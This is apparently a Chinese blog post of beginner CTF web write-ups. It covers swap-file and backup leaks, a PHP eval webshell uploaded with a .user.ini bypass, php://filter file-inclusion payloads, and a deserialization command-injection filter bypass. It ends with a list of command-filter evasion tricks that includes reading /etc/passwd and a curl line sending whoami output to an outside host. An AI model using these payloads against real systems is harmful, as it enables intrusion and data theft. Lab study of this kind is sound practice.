难度1

先记一个学校CTF赛题

管理员错误使用了vim使得异常退出

vim异常退出

根据vim的缓存原理,访问.index.php.swp

1
url:http://47.92.27.98:21655/.index.php.swp

index.php.swp

访问url,下载缓存文件,记事本打开,ctrl+f “flag” get~


再记一个忘了哪做的题了

代码审计:md5加密相同但本身不同,想到数组绕过,尝试flag.php发现页面空白,查看源码得到flag

数组绕过


攻防世界

1.你知道index.php的备份文件名吗?

直接在url后加index.php.bak,下载备份文件,记事本打开

index.php.bak(backup备份)


2.一个不能按的按钮

F12看网页源码,发现button被禁用了,把disabled删掉

button


3.sql(get)

明显的get注入,burp intruder模块1-10000爆破,得到2333,访问

sql


4.robots协议

直接在url上访问robots.txt

robots1

发现/fl0g.php是不被允许的,直接访问

robots2


5.PHP2

进去显示你能认证这个网站吗,直接御剑扫后台,发现/index.phps

php2

分析PHP代码,发现函数对传参进行了url解码,那我们需要对admin进行编码,由于浏览器本身会解码一次,所以我们编码两次,用burp编码模块,GET传参得到flag

php2.2


6.PHP

a和b都是get传参,a==0是弱类型比较,值一样即可,无需类型相同,所以a随便传一个字符串如a=’0’,a=’0a’,flag1就得到了;b>1234,但b不能是数字或者数字字符串,所以输b=12345b,当’12345b’与 1234比较时,字符串先转换成数值12345, 再和1234比较12345>1234,为真,输出flag2

还是PHP


7.想想初始页面

想到index.php,访问,F12查看一波

index

发现302跳转到location:1.php,说明index是存在的,burp重放模块

index2

说flag被隐藏了,但flag就藏在包里第五行差点没看见= =


8.easyupload

文件上传,php被拦,上传图片马,依然被拦,说明“php”很可能被检测出来,所以这里用短标签绕过:

1
<?=eval($_POST['cmd']);?>

上传成功但无法解析,想到分布式配置文件.htaccess,被拦,上传.user.ini以解析php,内容为

1
2
3
GIF89a

auto_prepend_file=4.jpg

Burp抓包,把Content-Type改成image/jpg,绕过检测

然后上传图片马4.jpg,F12查看图片去向,蚁剑连接,打开flag文件。

easyupload

关于.user.ini

.user.ini是一个能被动态加载的ini文件。也就是说我修改了.user.ini后,不需要重启服务器中间件,只需要等待user_ini.cache_ttl所设置的时间(默认为300秒),即可被重新加载。

这里就很清楚了,.user.ini实际上就是一个可以由用户“自定义”的php.ini

.user.ini中两个中的配置就是auto_prepend_file和auto_append_file。这两个配置的意思就是:我们指定一个文件(如4.jpg),那么该文件就会被包含在要执行的php文件中(如index.php),相当于在index.php中插入一句:require(./4.jpg)。这两个设置的区别只是在于auto_prepend_file是在文件前插入,auto_append_file在文件最后插入。

利用.user.ini的前提是服务器开启了CGI或者FastCGI,并且上传文件的存储路径下有index.php可执行文件。


9.fileinclude

进入靶场,老规矩F12看一哈,发现有代码被注释了,格式不好看,所以查看页面源代码:

fileinclude1

关键在于15行,lan是存放着name为language的cookie的值的变量,当lan非零时将包含$lan.php,那任务就明确了,传一个

1
Cookie: language=php://filter/read=convert.base64-encode/resource=/var/www/html/flag

得到base64编码的一串字符

1
PD9waHANCiRmbGFnPSJjeWJlcnBlYWNlezU1NmNlYWExYWJmZWZmNzg0Mjc2Mzg5ODRkNDUxOTMxfSI7DQo/Pg==

decode

fileinclude2

关于base64加密的原因,就是利用filter协议读文件,将index.php通过base64编码后进行输出。这样做的好处就是如果不进行编码,文件包含后就不会有输出结果,而是当做php文件执行了,而通过编码后则可以读取文件源码。(感谢‘zhangyuhaimian’——一个大黑阔)

关于php://filter

文章中还介绍了用base64解码绕过

php://filter的妙用


10.fileclude

又是查看源代码

fileclude1

发现有flag.php,如果file2的文件内容为hello ctf,则包含file1,那任务就明确了,把flag.php的内容base64加密写到file1里,然后往file2写入hello ctf

payload:

1
file1=php://filter/read=convert.base64-encode/resource=flag.php&file2=php://input

然后burp抓包,post方式写入hello ctf

fileclude2

再解密就行了。

漏洞梳理篇之php伪协议


11.file_include

经过前两道题的沉淀,我自认为我可以拿捏这道题了,我直接输入

1
?filename=php://filter/read=convert.base64-encode/resource=check.php

结果却是这样的:

file_include1

不得不说,这个结果伤害了我。

这里面应该有东西被过滤了,我在网上找到了别的绕过方法

使用其他的过滤器convert.iconv.* 绕过

使用方法:convert.iconv.. 或者 convert.iconv./

这里的和分别为输入的字符串编码方式和输出的字符串编码方式(字符集)。由于不知道哪种能成功,这里可以用burp爆破

这里直接给出能用的两个字符集UTF-8和UCS-2

1
?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=check.php

页面多了一行代码,给出了过滤情况

1
2
3
4
5
6
7
<?php if($_GET["filename"])
{
$preg_match_username = 'return preg_match("/base|be|encode|print|zlib|quoted|write|rot13|read|string/i", $_GET["filename"]);';
if (eval($preg_match_username))
{ die("do not hack!");
}
}

盲猜flag.php

1
?filename=php://filter/convert.iconv.UTF-8.UCS-2/resource=flag.php

file_include2


12.unseping

贴脸开大,还是读代码

unseping1

这个是反序列化,但是这个题没用上wakeup(),主要是命令执行,但是代码中可以看到,args是一个数组,数组中的ls等等命令都被拦了,那就绕过,这里采用反斜杠‘\’绕过

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
<?php

class ease{
private $method;
private $args;
function __construct($method, $args) {
$this->method = $method;
$this->args = $args;
}

}
$a=new ease("ping",array('l\s'));
$b=serialize($a);
echo base64_encode($b);
?>

PHP在线编译工具

输出:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czozOiJsXHMiO319

unseping2

看到:array(2) { [0]=> string(12) “flag_1s_here” [1]=> string(9) “index.php” }

在这有个问题,为啥array(‘dir’)和lsarray(‘l\s’)不同:

array(1) { [0]=> string(23) “flag_1s_here index.php” }

但无论如何我们看到了flag_1s_here

1
2
3
4
5
6
7
<?php

$a=new ease("ping",array('l\s${IFS}fl\ag_1s_here'));
$b=serialize($a);

echo base64_encode($b);
?>

重复的地方不再赘述,这里的重点是绕过空格及flag关键字的过滤,依然采用\绕过,空格用${IFS}绕过

得到:Tzo0OiJlYXNlIjoyOntzOjEyOiIAZWFzZQBtZXRob2QiO3M6NDoicGluZyI7czoxMDoiAGVhc2UAYXJncyI7YToxOntpOjA7czoyMjoibFxzJHtJRlN9ZmxcYWdfMXNfaGVyZSI7fX0=

POST提交:

unseping3

有个php文件,但是;和&和/都被拦了,没法绕,换个方法,把字符变成八进制,看了一下别人写的,唯一一个疑点就是为啥是

1
\\%o

我试了一下,加一个\是没效果的,具体为啥我没深究,两个\就行了,附上C语言脚本:

1
2
3
4
5
6
7
8
9
10
11
#include <stdio.h>
int main()
{
/* code */
char site[] = "cat flag_1s_here/flag_831b69012c67b35f.php";
for (int i = 0; i < sizeof site / sizeof site[0]; i++) {
printf("\\%o",site[i]);
}
return 0;
}

C语言在线编译

1
\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160
1
$a=new ease("ping",array('$(printf${IFS}"\143\141\164\40\146\154\141\147\137\61\163\137\150\145\162\145\57\146\154\141\147\137\70\63\61\142\66\71\60\61\62\143\66\67\142\63\65\146\56\160\150\160")'));

unseping4

还不是很明白为啥cat了还要printf

命令执行绕过

1.正则校验时如过滤cat|flag|ls,在字符串中插入空的环境变量绕过如’l${Z}s’,并用 $${IFS}代替空格
2.过滤绕过:分隔符编码(url、base64)绕过
3.八进制绕过:如ls: l对应assic码108 108->八进制:154: $(printf “\154\163”)//ls
4.十六进制绕过:echo “字符串转16进制的结果” | xxd -r -p|bash //xxd:十六进制输出
5.linux内置分隔符:${IFS}$9、${IFS}、$IFS$9
6.使用重定向符: cat<>flag.php
7.$PS2:> $PS4:+
8.关键词拆分命令绕过:a=l;b=s;ab
9.控制环境变量绕过: echo $PATH得到/user/local… 要哪个字符截取哪个字符
echo ${PATH:1:1} ->u echo ${PATH:0:4} ->/usr
10.空值绕过:cat fl””ag cat fl’’ag cat “fl””ag”
11.反斜杠绕过:ca\t flag l\s
12.空变量:x代表1-9如ca${7}t a.txt->cat a.txt,在没有传入参数的情况下,这些特殊字符默认为空
wh$1oami wh${1}oami
who$@ami who${@}ami
whoa$mi whoa${}mi
13.花括号:在linux bash中还可以使用{OS_COMMAND,ARGUMENT}来执行系统命令 {cat,flag}
{cat,flag.php}
{cat,/etc/passwd}
{whoami,}
14.无回显的命令执行:可以通过curl命令将命令的结果输出到访问的url中
curl www.com/反引号whoami反引号
15.其他读文件命令
bash tac nl more less head tail vi cat bzmore bzless paste sort

原文链接https://blog.csdn.net/qq_53385700/article/details/128741076


难度1
http://example.com/2023/03/26/web01/
作者
想有双手
发布于
2023年3月26日
许可协议